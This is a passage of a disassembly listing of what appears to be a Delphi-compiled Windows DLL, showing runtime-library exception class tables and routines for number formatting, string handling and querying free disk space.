DATA:off_10009340o dd 0FFC6h off_10004950 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009140o ; DATA:off_100092A4o dd 0FFC7h off_10004958 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009144o ; DATA:off_10009310o dd 0FFC8h off_10004960 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009148o ; DATA:off_10009350o dd 0FFC9h off_10004968 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000914Co ; DATA:off_10009370o ; --------------------------------------------------------------------------- retf 0FFh ; --------------------------------------------------------------------------- align 10h off_10004970 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009150o ; DATA:off_10009348o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_10004978 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009154o ; DATA:off_10009300o db 0CCh db 0FFh, 2 dup(0) off_10004980 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009158o ; DATA:off_10009354o dd 0FFCDh off_10004988 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000915Co ; DATA:off_100093A0o dd 0FFCEh off_10004990 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009160o ; DATA:off_100092A8o dd 0FFCFh off_10004998 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009164o ; DATA:off_10009308o dd 0FFB0h off_100049A0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009168o ; DATA:off_1000931Co dd 0FFB1h off_100049A8 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000916Co ; DATA:off_10009380o dd 0FFB2h off_100049B0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009170o ; DATA:off_100093A4o dd 0FFB3h off_100049B8 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009174o ; DATA:off_100093ACo dd 0FFB4h off_100049C0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009178o ; DATA:off_10009364o dd 0FFB5h off_100049C8 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000917Co ; DATA:off_100092D4o dd 0FFB6h off_100049D0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009180o ; DATA:off_10009378o dd 0FFB7h off_100049D8 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009184o ; DATA:off_1000932Co dd 0FFB8h off_100049E0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009188o ; DATA:off_100092C4o dd 0FFB9h off_100049E8 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000918Co ; DATA:off_100092D0o dd 0FFBAh off_100049F0 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009190o ; DATA:off_100092D8o dd 0FFBBh off_100049F8 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009194o ; DATA:off_100092ACo dd 0FFBCh off_10004A00 dd offset dword_1000A664 ; DATA XREF: DATA:off_10009198o ; DATA:off_10009394o dd 0FFBDh off_10004A08 dd offset dword_1000A664 ; DATA XREF: DATA:off_1000919Co ; DATA:off_100092BCo dd 0FFBEh off_10004A10 dd offset dword_1000A664 ; DATA XREF: DATA:off_100091A0o ; DATA:off_100093C4o dd 0FFBFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10004A18 proc near ; DATA XREF: CODE:10008650o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_10004A3D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1000A67C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_10004A44 loc_10004A3C: ; CODE XREF: sub_10004A18+2Aj retn ; --------------------------------------------------------------------------- loc_10004A3D: ; DATA XREF: sub_10004A18+6o jmp loc_10003048 ; --------------------------------------------------------------------------- jmp short loc_10004A3C ; --------------------------------------------------------------------------- loc_10004A44: ; CODE XREF: sub_10004A18:loc_10004A3Cj ; DATA XREF: sub_10004A18+1Fo pop ebp retn sub_10004A18 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10004A48 proc near ; DATA XREF: CODE:1000864Co sub ds:dword_1000A67C, 1 retn sub_10004A48 endp ; --------------------------------------------------------------------------- off_10004A50 dd offset dword_10004A9C ; DATA XREF: CODE:10004AE0o ; CODE:10004B98o ... dd 2 dup(0) dd offset dword_10004A9C dd 4 dup(0) dd offset word_10004AAE dd 0Ch dd offset off_1000100C dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004A9C dd 0Eh, 10000h ; DATA XREF: CODE:off_10004A50o ; CODE:10004A5Co db 2 dup(0) dd offset off_10001000 dw 4 db 2 dup(0) word_10004AAE dw 4509h ; DATA XREF: CODE:10004A70o dd 70656378h, 6E6F6974h off_10004AB8 dd offset dword_10004B04 ; DATA XREF: CODE:10004B3Co ; CODE:10004FC4o dd 7 dup(0) dd offset dword_10004B04 dd 10h dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10006B00 dd offset sub_10002C7C dword_10004B04 dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_10004AB8o ; CODE:10004AD8o off_10004B14 dd offset dword_10004B60 ; DATA XREF: sub_10007030+8r dd 7 dup(0) dd offset dword_10004B60 dd 10h dd offset off_10004AB8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10006B00 dd offset sub_10002C7C dword_10004B60 dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:off_10004B14o ; CODE:10004B34o off_10004B70 dd offset dword_10004BBC ; DATA XREF: sub_10006B2C+2Dr ; sub_10006B2C+4Cr dd 7 dup(0) dd offset dword_10004BBC dd 10h dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004BBC dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF: CODE:off_10004B70o ; CODE:10004B90o off_10004BC8 dd offset dword_10004C14 ; DATA XREF: CODE:10004C48o ; CODE:10004CA8o ... dd 7 dup(0) dd offset dword_10004C14 dd 10h dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004C14 dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:off_10004BC8o ; CODE:10004BE8o off_10004C20 dd offset dword_10004C6C ; DATA XREF: sub_10006F54+82r dd 7 dup(0) dd offset dword_10004C6C dd 10h dd offset off_10004BC8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004C6C dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_10004C20o ; CODE:10004C40o ... off_10004C80 dd offset dword_10004CCC ; DATA XREF: CODE:10004D00o ; CODE:10004D58o ... dd 7 dup(0) dd offset dword_10004CCC dd 10h dd offset off_10004BC8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004CCC dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_10004C80o ; CODE:10004CA0o dd offset dword_10004D24 dd 7 dup(0) dd offset dword_10004D24 dd 10h dd offset off_10004C80 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004D24 dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF: CODE:10004CD8o ; CODE:10004CF8o ... dd offset dword_10004D7C dd 7 dup(0) dd offset dword_10004D7C dd 10h dd offset off_10004C80 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004D7C dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF: CODE:10004D30o ; CODE:10004D50o ... dd offset dword_10004DD4 dd 7 dup(0) dd offset dword_10004DD4 dd 10h dd offset off_10004C80 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004DD4 dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:10004D88o ; CODE:10004DA8o ... off_10004DE4 dd offset dword_10004E30 ; DATA XREF: CODE:10004E64o ; CODE:10004EBCo ... dd 7 dup(0) dd offset dword_10004E30 dd 10h dd offset off_10004BC8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004E30 dd 614D450Ah, 72456874h, 90726F72h ; DATA XREF: CODE:off_10004DE4o ; CODE:10004E04o dd offset dword_10004E88 dd 7 dup(0) dd offset dword_10004E88 dd 10h dd offset off_10004DE4 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004E88 dd 6E49450Ah, 696C6176h, 90704F64h ; DATA XREF: CODE:10004E3Co ; CODE:10004E5Co ... dd offset dword_10004EE0 dd 7 dup(0) dd offset dword_10004EE0 dd 10h dd offset off_10004DE4 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004EE0 dd 655A450Bh, 69446F72h, 65646976h ; DATA XREF: CODE:10004E94o ; CODE:10004EB4o ... dd offset dword_10004F38 dd 7 dup(0) dd offset dword_10004F38 dd 10h dd offset off_10004DE4 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004F38 dd 764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:10004EECo ; CODE:10004F0Co ... dd offset dword_10004F90 dd 7 dup(0) dd offset dword_10004F90 dd 10h dd offset off_10004DE4 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10004F90 dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF: CODE:10004F44o ; CODE:10004F64o ... off_10004F9C dd offset dword_10004FE8 ; DATA XREF: sub_10007030+1Fr dd 7 dup(0) dd offset dword_10004FE8 dd 10h dd offset off_10004AB8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10006B00 dd offset sub_10002C7C dword_10004FE8 dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ; DATA XREF: CODE:off_10004F9Co ; CODE:10004FBCo dd offset dword_10005044 dd 7 dup(0) dd offset dword_10005044 dd 0Ch dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10005044 dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:10004FF8o ; CODE:10005018o ... off_10005054 dd offset dword_100050A0 ; DATA XREF: sub_10005444+Fr dd 7 dup(0) dd offset dword_100050A0 dd 0Ch dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_100050A0 dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_10005054o ; CODE:10005074o off_100050B0 dd offset dword_100050FC ; DATA XREF: sub_10006D88+122r ; sub_10006D88+17Er dd 7 dup(0) dd offset dword_100050FC dd 10h dd offset off_10004BC8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_100050FC dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh ; DATA XREF: CODE:off_100050B0o ; CODE:100050D0o ... dd offset dword_1000515C dd 7 dup(0) dd offset dword_1000515C dd 10h dd offset off_10004BC8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_1000515C dd 7250450Ah, 6C697669h, 90656765h ; DATA XREF: CODE:10005110o ; CODE:10005130o ... dd offset dword_100051B4 dd 7 dup(0) dd offset dword_100051B4 dd 10h dd offset off_10004BC8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_100051B4 dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; DATA XREF: CODE:10005168o ; CODE:10005188o ... dd offset dword_10005210 dd 7 dup(0) dd offset dword_10005210 dd 10h dd offset off_10004BC8 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10005210 dd 6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:100051C4o ; CODE:100051E4o ... dd offset dword_10005268 dd 7 dup(0) dd offset dword_10005268 dd 0Ch dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10005268 dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:1000521Co ; CODE:1000523Co ... off_10005278 dd offset dword_100052C4 ; DATA XREF: sub_10006C00+72r dd 7 dup(0) dd offset dword_100052C4 dd 0Ch dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_100052C4 dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h ; DATA XREF: CODE:off_10005278o ; CODE:10005298o ... off_100052D8 dd offset dword_10005324 ; DATA XREF: sub_10006CD8+8r dd 7 dup(0) dd offset dword_10005324 dd 0Ch dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10005324 dd 6241450Eh, 61727473h, 72457463h, 90726F72h ; DATA XREF: CODE:off_100052D8o ; CODE:100052F8o dd offset dword_10005380 dd 7 dup(0) dd offset dword_10005380 dd 0Ch dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_10005380 dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ; DATA XREF: CODE:10005334o ; CODE:10005354o ... dd offset dword_100053DC dd 7 dup(0) dd offset dword_100053DC dd 0Ch dd offset off_10004A50 dd offset sub_10002D78 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_10002D8C dd offset nullsub_3 dd offset sub_10002C44 dd offset sub_10002C60 dd offset sub_10002C7C dword_100053DC dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h ; DATA XREF: CODE:10005390o ; CODE:100053B0o ... off_100053F0 dd offset dword_100053F4 ; DATA XREF: sub_10007C50+8Fr dword_100053F4 dd 372E0311h, 434h ; DATA XREF: CODE:off_100053F0o db 0 dd offset off_10001000 db 48h, 2 dup(0) db 0 dd offset off_10001000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch off_10005414 dd offset dword_10005418 ; DATA XREF: sub_10007C50+7Fr dword_10005418 dd 382E0311h, 434h ; DATA XREF: CODE:off_10005414o db 0 dd offset off_10001000 db 48h, 2 dup(0) db 0 dd offset off_10001000 db 8, 53h, 79h dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1, 24h ; =============== S U B R O U T I N E ======================================= sub_10005444 proc near ; CODE XREF: sub_10005760+4Cp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax push esi push edi mov ecx, ebx mov dl, 1 mov eax, off_10005054 call sub_10006A6C call sub_10003080 pop edi pop esi pop ebx retn sub_10005444 endp ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_10005912 loc_10005468: ; CODE XREF: sub_10005912+CAj ; sub_10005912+D8j ... or cl, cl jnz short loc_10005483 or eax, eax jns short sub_1000547E neg eax call sub_1000547E mov al, 2Dh inc ecx dec esi mov [esi], al retn ; END OF FUNCTION CHUNK FOR sub_10005912 ; =============== S U B R O U T I N E ======================================= sub_1000547E proc near ; CODE XREF: sub_10005912-4A4j ; sub_10005912-4A0p mov ecx, 0Ah loc_10005483: ; CODE XREF: sub_10005912-4A8j push edx push esi loc_10005485: ; CODE XREF: sub_1000547E+1Bj xor edx, edx div ecx dec esi add dl, 30h cmp dl, 3Ah jb short loc_10005495 add dl, 7 loc_10005495: ; CODE XREF: sub_1000547E+12j mov [esi], dl or eax, eax jnz short loc_10005485 pop ecx pop edx sub ecx, esi sub edx, ecx jbe short locret_100054B3 add ecx, edx mov al, 30h sub esi, edx jmp short loc_100054AE ; --------------------------------------------------------------------------- loc_100054AB: ; CODE XREF: sub_1000547E+31j mov [edx+esi], al loc_100054AE: ; CODE XREF: sub_1000547E+2Bj dec edx jnz short loc_100054AB mov [esi], al locret_100054B3: ; CODE XREF: sub_1000547E+23j retn sub_1000547E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10005912 loc_100054B4: ; CODE XREF: sub_10005912+94j ; sub_10005912+A2j ... or cl, cl jnz short sub_100054E8 mov ecx, 0Ah test dword ptr [eax+4], 80000000h jz short sub_100054E8 push dword ptr [eax+4] push dword ptr [eax] mov eax, esp neg [esp+8+var_8] adc [esp+8+var_4], 0 neg [esp+8+var_4] call sub_100054E8 mov byte ptr [esi-1], 2Dh dec esi inc ecx add esp, 8 retn ; END OF FUNCTION CHUNK FOR sub_10005912 ; =============== S U B R O U T I N E ======================================= sub_100054E8 proc near ; CODE XREF: sub_10005912-45Cj ; sub_10005912-44Ej ... var_18 = qword ptr -18h var_C = dword ptr -0Ch var_8 = word ptr -8 var_6 = word ptr -6 push esi sub esp, 4 fnstcw [esp+8+var_6] fnstcw [esp+8+var_8] or [esp+8+var_8], 0F00h fldcw [esp+8+var_8] mov [esp+8+var_8], cx fld1 test dword ptr [eax+4], 80000000h jz short loc_10005532 push dword ptr [eax+4] push dword ptr [eax] and [esp+10h+var_C], 7FFFFFFFh push 7FFFFFFFh push 0FFFFFFFFh fild qword ptr [esp+8] fild [esp+18h+var_18] fadd st, st(2) faddp st(1), st add esp, 10h jmp short loc_10005534 ; --------------------------------------------------------------------------- loc_10005532: ; CODE XREF: sub_100054E8+21j fild qword ptr [eax] loc_10005534: ; CODE XREF: sub_100054E8+48j fild [esp+8+var_8] fld st(1) loc_10005539: ; CODE XREF: sub_100054E8+6Ej dec esi fprem fistp [esp+8+var_8] fdiv st(1), st mov al, byte ptr [esp+8+var_8] add al, 30h cmp al, 3Ah jb short loc_1000554C add al, 7 loc_1000554C: ; CODE XREF: sub_100054E8+60j mov [esi], al fld st(1) fcom st(3) fstsw ax sahf jnb short loc_10005539 fldcw [esp+8+var_6] add esp, 4 ffree st(3) ffree st(2) ffree st(1) ffree st pop ecx sub ecx, esi sub edx, ecx jbe short locret_1000557E sub esi, edx mov al, 30h add ecx, edx jmp short loc_10005579 ; --------------------------------------------------------------------------- loc_10005576: ; CODE XREF: sub_100054E8+92j mov [edx+esi], al loc_10005579: ; CODE XREF: sub_100054E8+8Cj dec edx jnz short loc_10005576 mov [esi], al locret_1000557E: ; CODE XREF: sub_100054E8+84j retn sub_100054E8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10005580 proc near ; CODE XREF: sub_100063C8+3Ep ; sub_10006440+34p ... var_8 = dword ptr -8 push ebx push ecx mov ebx, edx mov edx, esp call sub_10002754 cmp [esp+8+var_8], 0 jz short loc_10005593 mov eax, ebx loc_10005593: ; CODE XREF: sub_10005580+Fj pop edx pop ebx retn sub_10005580 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1, 30h, 0FFFFFFFFh, 2, 312Dh ; =============== S U B R O U T I N E ======================================= sub_100055B0 proc near ; CODE XREF: sub_10005600+Ep push ebx push esi push edi push ebp mov esi, edx mov ebx, eax mov eax, esi call sub_10003894 mov edi, eax mov eax, ebx call sub_1000397C mov ebp, eax test edi, edi jle short loc_100055F6 loc_100055CE: ; CODE XREF: sub_100055B0+44j mov bl, [esi+edi-1] test bl, bl jz short loc_100055F1 mov edx, ebx mov eax, ebp call sub_1000574C test eax, eax jz short loc_100055F1 mov edx, edi mov eax, esi call sub_1000721C cmp al, 2 jnz short loc_100055F6 dec edi loc_100055F1: ; CODE XREF: sub_100055B0+24j ; sub_100055B0+31j dec edi test edi, edi jg short loc_100055CE loc_100055F6: ; CODE XREF: sub_100055B0+1Cj ; sub_100055B0+3Ej mov eax, edi pop ebp pop edi pop esi pop ebx retn sub_100055B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10005600 proc near ; CODE XREF: sub_10006D88+CCp push ebx push esi push edi mov edi, edx mov ebx, eax mov edx, ebx mov eax, offset dword_10005634 call sub_100055B0 mov esi, eax push edi lea edx, [esi+1] mov ecx, 7FFFFFFFh mov eax, ebx call sub_10003988 pop edi pop esi pop ebx retn sub_10005600 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_10005634 dd 3A5Ch ; DATA XREF: sub_10005600+9o ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10005638 proc near ; DATA XREF: sub_10007914+2Ao var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp add esp, 0FFFFFFE8h push ebx mov eax, [ebp+arg_0] test eax, eax jnz short loc_10005648 xor eax, eax loc_10005648: ; CODE XREF: sub_10005638+Cj lea edx, [ebp+var_10] push edx lea edx, [ebp+var_C] push edx lea edx, [ebp+var_8] push edx lea edx, [ebp+var_4] push edx push eax call sub_100045A8 ; GetDiskFreeSpaceA mov ebx, eax mov eax, [ebp+var_4] imul [ebp+var_8] xor edx, edx mov [ebp+var_18], eax mov [ebp+var_14], edx mov eax, [ebp+var_C] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_10003BA8 mov ecx, [ebp+arg_4] mov [ecx], eax mov [ecx+4], edx mov eax, [ebp+var_10] xor edx, edx push edx push eax mov eax, [ebp+var_18] mov edx, [ebp+var_14] call sub_10003BA8 mov ecx, [ebp+arg_8] mov [ecx], eax mov [ecx+4], edx mov eax, ebx pop ebx mov esp, ebp pop ebp retn 10h sub_10005638 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100056AC proc near ; CODE XREF: sub_10005B60+16p ; CODE:100067E1p ... mov edx, edi mov edi, eax mov ecx, 0FFFFFFFFh xor al, al repne scasb mov eax, 0FFFFFFFEh sub eax, ecx mov edi, edx retn sub_100056AC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100056C4 proc near ; CODE XREF: sub_10005760+2Bp push esi mov esi, eax xchg eax, edx call sub_1000263C mov eax, esi pop esi retn sub_100056C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100056D4 proc near ; CODE XREF: CODE:100067B5p push edi push esi push ebx mov esi, eax mov edi, edx mov ebx, ecx xor al, al test ecx, ecx jz short loc_100056E8 repne scasb jnz short loc_100056E8 inc ecx loc_100056E8: ; CODE XREF: sub_100056D4+Dj ; sub_100056D4+11j sub ebx, ecx mov edi, esi mov esi, edx mov edx, edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb stosb mov eax, edx pop ebx pop esi pop edi retn sub_100056D4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_10005708 proc near ; CODE XREF: sub_100064F0+109p ; sub_100064F0+12Fp ... push edi push esi push ebx mov edi, edx mov esi, eax mov ebx, ecx xor eax, eax or ecx, ecx jz short loc_10005746 repne scasb sub ebx, ecx mov ecx, ebx mov edi, edx xor edx, edx loc_10005721: ; CODE XREF: sub_10005708+3Cj repe cmpsb jz short loc_10005746 mov al, [esi-1] cmp al, 61h jb short loc_10005732 cmp al, 7Ah ja short loc_10005732 sub al, 20h loc_10005732: ; CODE XREF: sub_10005708+22j ; sub_10005708+26j mov dl, [edi-1] cmp dl, 61h jb short loc_10005742 cmp dl, 7Ah ja short loc_10005742 sub dl, 20h loc_10005742: ; CODE XREF: sub_10005708+30j ; sub_10005708+35j sub eax, edx jz short loc_10005721 loc_10005746: ; CODE XREF: sub_10005708+Dj ; sub_10005708+1Bj pop ebx pop esi pop edi retn sub_10005708 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_1000574C proc near ; CODE XREF: sub_100055B0+2Ap ; sub_100072DC+Bp ... jmp short loc_10005756 ; --------------------------------------------------------------------------- loc_1000574E: ; CODE XREF: sub_1000574C+Ej test cl, cl jnz short loc_10005755 xor eax, eax retn ; --------------------------------------------------------------------------- loc_10005755: ; CODE XREF: sub_1000574C+4j inc eax loc_10005756: ; CODE XREF: sub_1000574Cj mov cl, [eax] cmp dl, cl jnz short loc_1000574E retn sub_1000574C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_10005760 proc near ; CODE XREF: sub_10005912+7Dp var_34 = byte ptr -34h var_14 = dword ptr -14h var_10 = byte ptr -10h push ebx push esi push edi add esp, 0FFFFFFD8h mov ebx, ecx mov esi, edx mov edi, eax cmp ebx, 1Fh jbe short loc_10005776 mov ebx, 1Fh loc_10005776: ; CODE XREF: sub_10005760+Fj mov edx, ebx dec edx mov eax, esi call sub_10007240 cmp al, 1 jnz short loc_10005785 dec ebx loc_10005785: ; CODE XREF: sub_10005760+22j mov eax, esp mov ecx, ebx mov edx, esi call sub_100056C4 mov [esp+ebx+34h+var_34], 0 mov eax, esp mov [esp+34h+var_14], eax mov [esp+34h+var_10], 6 lea edx, [esp+34h+var_14] mov eax, ds:off_100090F4[edi*4] xor ecx, ecx call sub_10005444 add esp, 28h pop edi pop esi pop ebx retn sub_10005760 endp ; =============== S U B R O U T I N E ======================================= sub_100057B8 proc near ; CODE XREF: sub_10005912+114p push ebx mov ecx, ds:off_100093E8 cmp dword ptr [ecx], 0 jz short loc_100057D0 mov ebx, ds:off_100093E8 mov ebx, [ebx] call ebx pop ebx retn ; --------------------------------------------------------------------------- loc_100057D0: ; CODE XREF: sub_100057B8+Aj mov al, 10h call sub_100025E0 sub_100057B8 endp ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_100057DC proc near ; CODE XREF: sub_100057E8+D3p push ebx mov ebx, eax mov eax, ebx call sub_10003620 pop ebx retn sub_100057DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_100057E8 proc near ; CODE XREF: sub_10005B60+2Ap ; sub_10005BB4+4Ap ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 10005B4F SIZE 0000000F BYTES push ebp mov ebp, esp add esp, 0FFFFFF94h push ebx xor ebx, ebx mov [ebp+var_14], ebx push ebx push esi push edi mov edi, eax mov esi, ecx xor eax, eax mov [ebp+var_4], eax add ecx, [ebp+arg_8] mov [ebp+var_8], edi xor eax, eax mov [ebp+var_C], eax mov [ebp+var_10], eax mov [ebp+var_14], eax loc_10005811: ; CODE XREF: sub_100057E8+DDj or edx, edx jz short loc_10005822 loc_10005815: ; CODE XREF: sub_100057E8+38j cmp esi, ecx jz short loc_10005822 lodsb cmp al, 25h jz short loc_1000582C loc_1000581E: ; CODE XREF: sub_100057E8+4Bj stosb dec edx jnz short loc_10005815 loc_10005822: ; CODE XREF: 